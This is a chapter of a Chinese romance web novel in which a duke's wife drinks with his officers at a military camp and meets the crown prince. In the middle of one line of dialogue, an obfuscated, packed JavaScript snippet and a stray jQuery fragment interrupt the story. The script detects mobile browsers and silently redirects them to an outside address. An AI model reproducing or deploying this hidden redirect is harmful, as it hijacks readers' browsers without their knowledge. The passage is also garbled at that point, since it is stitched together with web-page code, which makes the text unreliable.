23. 第23章
作品:《为姐姐嫁给国公爷后》 年知秋伸手接过江承言递过来的兔子,放在自己面前继续烤着,他问的话却不知道怎么回答,只好道:“是的。”
她抬头去看江澜序,江澜序坐着,面前的火光摇晃,他的脸忽明忽暗,看不透他的神情,他没有反驳自己的话,好像也这样默认一样。
“哈!”江承言看一眼江澜序,又看一眼年知秋,“嫂子,你是怎么想到来这鸟都不拉屎的地方看二哥,我觉得你不像那种人。”
年知秋立马捡起一颗小石子砸他,“我怎么不像,闭嘴吧。”
崔安突然端起酒碗对着年知秋说道:“国公夫人,鄙人崔安敬你一杯。”
气氛顿时一静,大家都认识他,知道他的性格,更何况国公夫人看起来纤细柔弱,看起来不像是会饮酒的的人,崔安不应该端着酒就朝年知秋敬,坐在崔安一旁的红衣公子推了推他,崔安不搭理,依旧端着酒碗看着年知秋。
江澜序眉眼微敛唤道:“崔安。”
蓝衣公子立马打圆场,“老崔,国公夫人一介女子不适合喝我们这烈酒。”
年知秋感觉这里的气氛因为她变得紧张起来,她立马伸出双手,捧过崔安递过来的酒碗,“小酌还是可以的。”
江承言觉得崔安给他二嫂敬酒是故意的,不清楚他为什么要针对二嫂,又不好当面点破,跟江澜序一起皱眉看着崔安。
红衣男子端起酒碗,“忠勇候府曾凡也敬国公夫人一碗。”
“昌远伯府大公子孙尧。”蓝衣男子也跟着举碗。
因为他们两人的举动,紧张的气氛缓和一些,变得轻松。
年知秋端着酒碗挨个问好,“崔大哥,曾大哥,孙大哥,今日第一次见面,我……年素言敬你们一杯。”
江承言也端起酒杯凑过去,“嫂子,嫂子,还有我,你可不能把我给忘了!”
他一边递着酒碗凑上前,一边去推江澜序,“二哥,我们都敬酒,你也过来呗!”
江澜序舒展眉头,随意抬手,将手中的酒碗递过去,五人的酒碗碰到一起,当的一声脆响,碗中的酒液晃动,荡漾开来,将倒映在其中的月牙切碎。
年知秋端起酒碗一饮而尽,她放下碗才发现大家都吃惊地看着她。
江承言伸着脖子看过去,“嫂子,你都喝光。”
“嗯?有什么问题吗?”
“这可是烧刀子,你一碗就喝光了,嫂子你真厉害。”江承言的佩服油然而起。
曾凡笑着说道:“看来国公夫人也是女中豪杰。”
崔安是奔着刁难年知秋去的,想帮江澜序出口气,却不料年知秋坦坦荡荡,倒是有一种让人打在棉花里的感觉
年知秋差点脱口而出‘这算什么,莫说一碗烧刀子,就是一坛烧刀子,也不在话下。’但是想到自己的身份,立马将到嘴边的话给咽回去,谦虚道:“也就一碗,你们可别吹捧我。”
她察觉到崔安的敌意,故而又倒一碗单独敬他,“崔大哥,我单独敬你一杯,若有得罪的地方请多担待。”
崔安也再次举杯,“国公夫人客气,您并没有得罪我的地方。”他将碗中的酒喝光后,将脸转向另一边自己喝闷酒。年知秋觉得这人一定是对她有意见,可思来想去都不知道她到底哪里得罪江澜序身边的这名副将。
江承言看着年知秋面不改色的同崔安喝完第二碗烧刀子,瞪大双眼,质疑道:“嫂子,这就是你所谓的小酌?”正常娘子喝完一碗脸都红一半,而年知秋没有半点反应,她是正常娘子吗?
年知秋看向江承言,心想他跟江澜序不是兄弟吗?怎么差别怎么大,问这么呆的问题。
她咂了砸自己的嘴边,刚才喝的两碗酒都不够她回味。
江澜序开口,“酒多伤身,不可多饮。”
“国公夫人,你面前的兔肉好像熟了。”孙尧顺着江澜序的话提醒年知秋,年知秋的注意都到兔肉上面。
一名小兵忽然步伐匆匆往江澜序这边来,低声说道:“国公爷,太子到营帐中,说是有急事找国公爷商议。”
江澜序起身,“你们先吃,我去一趟。”
孙尧点头,“你去吧,这里有我。”
江澜序看向年知秋,“不能再饮酒。”
“……好。”
江承言见江澜序一走,换个位置,挪到年知秋身边,小声问道:“嫂子,你是得罪老崔吗?不然他为什么针对你。”
“没有,我不知道自己是怎么得罪他的。”年知秋比江承言还想知道她自己到底哪里得罪崔安,得罪江澜序身边的人跟间接性得罪江澜序有什么区别,她为什么要做这种蠢事。
江承言皱眉,“那你是得罪我二哥了,老崔最见不得我二哥受委屈了。”
要说有没有得罪江澜序,年知秋就不确定了,那可没少得罪和冒犯,估计真是因为这样。
“国公爷跟崔大哥感情很好么?”
“那可不是一般的好,二哥以前很不容易啊……这事你可以自己问一下二哥。”
“噢。”
年知秋对江澜序的事不感兴趣,江澜序不说,年知秋也不想多问,应付地点点头。
烤肉很不错,年知秋吃得很满足。
“你们平日都住在这里生活吗?”年知秋好奇地询问道。
曾凡,“要看平日的事务多不多,多的话基本住在军营。”
江承言,“我就喜欢天天住在军营中,多自在,还能进山打猎,回府中住,烦心事才多呢。”
孙尧,“承言,你莫要在这里躲懒,你还是回去好好协助澜序吧。”
“凭什么你们可以在这里逍遥快活!”
崔安道:“很简单,凭你打不过我们几个,都是说好的,打不过乖乖回去处理文书,承送奏折给陛下。”
江承言看向年知秋,“嫂子,你快快为我做主,他们连同二哥欺负我!”
这一点,年知秋是表示认可的,毕竟上一回见到江承言被江澜序指唤去找猫,她当时听闻都觉得江承言命苦。
“好,我当个事,回去跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922392|192611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你二哥谈谈。”年知秋打趣说道。
江承言一边咬着烤肉一边道:“好哇,嫂子你也跟着他们欺负我!”
因为江承言,在场的气氛更加轻松活跃,火光映照着年知秋的脸,眸中莹光流转,她唇边扬着弧度,两边脸颊显出浅浅的梨窝,显得她脸庞瑰丽明媚。
大家都被她的容貌惊艳,崔安跟年知秋相处下来,对国公夫人心中的成见几乎没有什么成见,不禁想,年知秋见承恩王世子肯定是有事。
脚步声在众人身后响起,众人看过去,只见江澜序身边跟着一个穿着缎面华贵的深青色长袍的男子,男子面容白皙,五官清秀,身上带着一股不可言说的贵气。
江承言等人见此立马放下手中的东西站起身行礼,年知秋也跟着站起来学着他们行礼,“见过太子殿下!”
“不用多礼,孤突然到访倒是打扰你们的兴致。”太子声音清越,朝众人摆手,“不必拘谨都坐下吧。”
太子的目光落到年知秋身上,面带笑容问道:“这位是……”
年知秋不敢怠慢,再次起身朝太子行一礼,“回太子,妇人是骁骑将军年从布之女年素言。”
太子听到年知秋的介绍,眸光光芒闪了闪,“是澜序娶的新妇。”
江澜序回,“正是。”
太子点头,声音温和,“国公夫人请坐。”
年知秋敛衽坐下。
“孤不打扰你们的兴致,孤回宫去。”
众人再次站起来恭送太子。
太子转身迈步离开之际,目光若有若无地在年知秋身上扫过,年知秋微蹙眉尖,只当这位太子好奇多看她几眼,并没有往心里去。
江澜序看着江承言,江承言嘴里还叼着块肉,见江澜序看他,他正奇怪就被江澜序轻轻踢一脚,“滚一边去。”
江承言这才反应过来,他占了江澜序之前的位置,和年知秋挨得近,这才意识到不妥,连忙把屁股挪到一旁去。
江澜序重新在年知秋身边坐下。
太子过来的事情好似个小插曲,年知秋握着匕首从烤熟的兔子上割下一块肉递向江澜序,“国公爷,这兔肉很不错,你尝尝。”
刚才和江承言聊完天后,年知秋微微反思自己一下,江澜序请她享用如此美味,她不能独享,多和他亲近,对自己并没有坏处。
比如今日,就是她平日卖力得他信任,江澜序才愿意相信她,不是被宋迟叙三言两语糊弄。
年知秋以为江澜序会拿过她手中的匕首将上面的肉吃掉,没想到江澜序却伸手抓住她的手腕,带着她的手将匕首中的兔肉推入自己口中。
江澜序咀嚼口中的鹿肉,看向她,“是很不错。”
“……”
他动作格外自然,在场的众人都没有反应,只有年知秋心里荡起一层又一层涟漪,手背上仿佛还带着男人掌心的温度。
她觉得江澜序是故意的,再次看向他,他神色平静,又让年知秋觉得是她想多了……好吧,应该是她想多了。

